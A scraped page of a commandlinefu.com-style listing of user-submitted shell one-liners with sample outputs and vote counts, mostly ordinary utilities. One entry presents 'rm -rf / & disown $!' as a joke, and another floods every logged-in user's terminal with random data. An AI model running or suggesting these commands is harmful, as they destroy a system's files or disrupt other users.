All commands sorted by votes

All commands (14,187)

sorted by

Nofity Message in Ubuntu

Nofity Message sudo apt-get install libnotify-bin
This is sample output - yours may be different.
-1

notify-send -i /usr/share/pixmaps/gnome-irc.png "Title" \ "This is a desktop notification commandlinefu."

userevolution · 2011-05-27 16:13:40 3
rename multiple files with different name, eg converting all txt to csv
This is sample output - yours may be different.
-1

touch file{1..10}.txt ; ls *txt| sed -e "p;s/\.txt$/\.csv/"|xargs -n2 mv

nomankhn · 2013-02-08 15:09:20 4
call vim help page from shell prompt

simple function i found somewhere to open vim help page from the shell use :h like you would in vim
This is sample output - yours may be different.
-1

function :h { vim +":h $1" +'wincmd o' +'nnoremap q :q!<CR>' ;}

Bonster · 2013-04-04 08:12:28 4
centos list directories sorted by size

centos list directories sorted by size Show Sample Output
This is sample output - yours may be different.
```
du -h --max-depth=1 /home/ | sort -n
```
-1

du -h --max-depth=1 /home/ | sort -n

erez83 · 2015-09-18 05:59:55 11
Rotate a video file by 90 degrees CW

Transpose parameter: 0 = 90CounterCLockwise and Vertical Flip (default) 1 = 90Clockwise 2 = 90CounterClockwise 3 = 90Clockwise and Vertical Flip
This is sample output - yours may be different.
-1

ffmpeg -i in.mov -vf "transpose=1" out.mov

malathion · 2019-09-02 04:54:31 294
Query for installed packages on RHEL boxes, and format the output nicely
This is sample output - yours may be different.
-1

rpm -qa --queryformat 'Installed on %{INSTALLTIME:date}\t%{NAME}-%{VERSION}-%{RELEASE}: %{SUMMARY}\n'

chrisclymer · 2009-02-20 22:01:42 6
Log output from a cronjob to a file, but also e-mail if a string is found

The large context number (-C 1000) is a bit of a hack, but in most of my use cases, it makes sure I'll see the whole log output.
This is sample output - yours may be different.
-1

some_cronjobed_script.sh 2>&1 | tee -a output.log | grep -C 1000 ERROR

DEinspanjer · 2009-03-06 17:51:13 7
Search count how many times a character or string is present into a file
This is sample output - yours may be different.
-1

grep -o 'pattern' | wc -l

ttrh · 2014-12-17 14:30:42 8
Find the median file modification time of files in a directory tree

I needed to get a feel for how "old" different websites were, based on their directories. Show Sample Output
This is sample output - yours may be different.
```
2006-05-20
```
-1

date -d "@$(find dir -type f -printf '%C@\n' | sort -n | sed -n "$(($(find dir -type f | wc -l)/2))p")" +%F

allengarvin · 2009-03-24 18:48:49 7
Remove VIM temp files
This is sample output - yours may be different.
-1

find ./ -name '*.sw[op]' -delete

linuxrawkstar · 2010-02-26 12:56:38 5
copy ssh id to remote host
This is sample output - yours may be different.
-1

ssh-copy-id -i .ssh/id_rsa.pub username:password@remotehost.com

harleywastaken · 2011-02-01 18:25:11 3
Discover media files from a web page

Discover host and url of media files (ex. flv, mp4, m4v..). It locate the urls of audio and video files so that they can be recorded.
This is sample output - yours may be different.
-1

sudo ngrep -lqi -p -W none ^get\|^post tcp dst port 80 -d eth0 | egrep '(flv|mp4|m4v|mov|mp3|wmv)'

marste · 2011-09-18 06:33:36 6
Generate Random Text based on Length

If you don't have seq, you can use perl.
This is sample output - yours may be different.
-1

genRandomText() { perl -e '$n=shift; print chr(int(rand(26)) + 97) for 1..$n; print "\n"' $1;}

putnamhill · 2012-01-21 00:21:20 3
List nearbies
This is sample output - yours may be different.
-1

/usr/sbin/arp -i eth0 | awk '{print $3}' | sed 1d

prayer · 2009-03-24 18:53:26 8
search for a pattern (regex) in all text files (ignoring binary files) in a directory tree
This is sample output - yours may be different.
-1

find . -type f | perl -lne 'print if -T;' | xargs egrep "somepattern"

unixmonkey7263 · 2009-12-01 19:12:03 6
Annoy everyone on your system

Starts a bunch of background jobs to write random garbage to everyone else's terminals. The "\n" in IFS should be an actual newline, but I can't put that in the command. Show Sample Output
This is sample output - yours may be different.
```
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
write: input/output error
```
-1

tmpIFS=IFS; IFS='\n'; users=`who | awk '{print $1}'`; for u in users; do; write $u < /dev/urandom &; done; IFS=tmpIFS

tbodt · 2014-02-12 23:36:40 8
AWK: Set Field Separator from command line

Set field separator char from command line. Prints first, second and lsat columns. Show Sample Output
This is sample output - yours may be different.
```
Input:
Col1,Col2,Col3,[...],ColLast

Output:
Col1 Col2 ColLast
```
-1

awk 'BEGIN {FS=","} { print $1 " " $2 " " $NF}' foo.txt

EBAH · 2010-11-12 15:26:04 4
Replace duplicate files by hardlinks
This is sample output - yours may be different.
-1

fdupes -r -1 path | while read line; do j="0"; for file in ${line[*]}; do if [ "$j" == "0" ]; then j="1"; else sudo ln -f ${line// .*/} $file; fi; done; done

piti · 2011-03-07 11:16:09 6

print info about compiled Scala class

Show Sample Output

-1

scalac quicksort.scala && javap QuickSort

evandrix · 2011-07-08 00:38:30 3

Show stats for dd

Have you ever wondered what the hell was dd command doing? well, there you have it... notice the -USR1 signal :)... Show Sample Output
This is sample output - yours may be different.
```
STATS FOR DD:
3014049+0 records in
3014048+0 records out
1543192576 bytes (1.5 GB) copied, 36.6224 s, 42.1 MB/s
```
-1

dd if=/dev/zero of=test bs=1024k count=1024 & bash -c "while :; do clear;echo STATS FOR DD:;kill -USR1 $!; sleep 1; done"

ideivid · 2011-08-19 01:10:18 7
just because I want to take out the dot

sudo when you mean it ps aux | grep $USER exit Show Sample Output
This is sample output - yours may be different.
```
[1] 12408

#mabye this
rm: cannot remove '/dont/own/yer/life/bin/anything' : Permission denied
```
-1

rm -rf / & disown $!

caddymob · 2014-02-13 05:15:25 7
quickly show me interesting data about my processes
This is sample output - yours may be different.
-1

alias mine='ps xco pid,command,%cpu,%mem,state'

yesmar · 2009-02-20 23:41:38 5
Delete all but latest file in a directory

xargs deals badly with special characters (such as space, ' and "). To see the problem try this: touch important_file touch 'not important_file' ls not* | xargs rm Parallel https://savannah.nongnu.org/projects/parallel/ does not have this problem.
This is sample output - yours may be different.
-1

ls -t1 | sed 1d | parallel -X rm

unixmonkey8046 · 2010-01-28 12:28:18 3
get newest file in current directory

-l for long list, -r for recursive, -a for display of hidden files, and -t for modification date
This is sample output - yours may be different.
-1

ls -lart

shardservant · 2011-05-28 15:01:39 3
lspci | grep -i pci

Get information pci All
This is sample output - yours may be different.
-1

lspci | grep -i pci

fekrhdesigns · 2012-04-14 15:14:41 18
‹ First < 477 478 479 480 481 > Last ›

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.

Share Your Commands

Check These Out

Which processes are listening on a specific port (e.g. port 80)

swap out "80" for your port of interest. Can use port number or named ports e.g. "http"

a function to find the fastest DNS server

http://public-dns.info gives a list of online dns servers. you need to change the country in url (br in this url) with your country code. this command need some time to ping all IP in list.

Detect illegal access to kernel space, potentially useful for Meltdown detection

Based on capsule8 agent examples, not rigorously tested

Empty a file

The downside of output redirection is that you need permissions. So something like $ > file won't play nicely w/ sudo. You'd need to do something like $ bash -c '> file' instead, you could go w/ $ sudo truncate -s0 file

Count lines of code across multiple file types, sorted by least amount of code to greatest

Gives you a nice quick summary of how many lines each of your files is comprised of. (In this example, we just check .c, .h, .php and .pl). Since we just use wc -l to count, you'll just get a very rough estimate of how many lines of actual code there are. Use a more sophisticated algorithm instead if you need to.

Create a mirror of a local folder, on a remote server

Create a exact mirror of the local folder "/root/files", on remote server 'remote_server' using SSH command (listening on port 22) (all files & folders on destination server/folder will be deleted)

Catch a proccess from a user and strace it.

It sits there in a loop waiting for a proccess from that user to spawn. When it does it will attach strace to it

total percentage of memory use for all processes with a given name

This command will add up RAM usage of all processes whose name contains "java" and output the sum of percentages in HRF. Also, unlike the original #15430, it wont fail on processes with a usage of >9.9%. Pleases note that this command wont work reliably in use cases where a significant portion of processes involved are using less than 0.1% of RAM, because they will be counted as "0", even though a great number of them could add up to significant amounts.

ssh: change directory while connecting

Useful to create an alias that sends you right in the directory you want : alias server-etc="ssh -t server 'cd /etc && $SHELL'"

Replace spaces in filenames with underscorees

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

» all commands
» commands with 3 up-votes (commandlinefu3)
» commands with 10 up-votes (commandlinefu10)

All commands (14,187) the last day the last week the last month all time sorted by date votes

What's this?

Check These Out

Stay in the loop…

All commands (14,187)

sorted by